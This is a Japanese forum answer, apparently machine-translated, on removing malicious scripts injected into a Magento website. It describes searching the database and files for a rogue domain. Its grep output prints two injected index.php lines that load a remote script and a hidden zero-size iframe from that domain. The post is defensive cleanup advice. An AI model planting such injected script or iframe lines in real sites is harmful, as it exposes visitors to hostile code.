スクリプトの名前がわかっている限り、これらの悪質なスクリプトを簡単に取り除くことができます。
これらのスクリプトの多くは自分のウェブサイトに挿入されていましたが、そのほとんどはドメインhttp://siteverification.online
を指すスクリプトとiframeでした。
私はMagentoの専門家ではないが、私はその後、唯一の2ヶ所から来ることができることを考え出し:
- データベース
- ファイルシステム(HTMLテンプレートやPHPファイル)については
私はMySQLを使用しています.PhpMyAdminがインストールされているので、Search関数を利用しました。この関数は、データベースのすべてのテーブルのすべてのフィールドを検索できます。私はちょうどsiteverification.online
を検索し、いくつかのエントリを見つけて、それらを削除しました。ファイルシステムについては
、私はSSH経由でログオンし、ちょうど全体のMagentoのウェブサイトのファイルシステムを検索し、このように:私の場合は
$ grep -r "siteverification.online" /var/www/magento-project
./index.php:print('<script type="text/javascript" src="http://siteverification.online/lib/status.js"></script>');
./index.php:print('<iframe src="http://siteverification.online/" frameborder="0" width="0" height="0"></iframe>');
それはいくつかのPHPコードはindex.php
に注入したことが判明しました。しかし、コードが他のphpやhtmlファイルに挿入された場合、検索は再帰的であるため(-r
フラグ)、これも同様に検索されます。
これだけです。私はMagentoのファイルシステムとデータベース構造についても理解していませんが、これらの根本的な検索方法を使用すると、数分間ですべてのマルウェアを取り除くことができます。
その他のコードでチェックしましたか?管理パネルで? –
それ以外のHTMLは、 'system-> configuration-> design-> footer->'その他のHTML'の 'copyright'チェックの下にあります。これは、そこにある' code/virus' –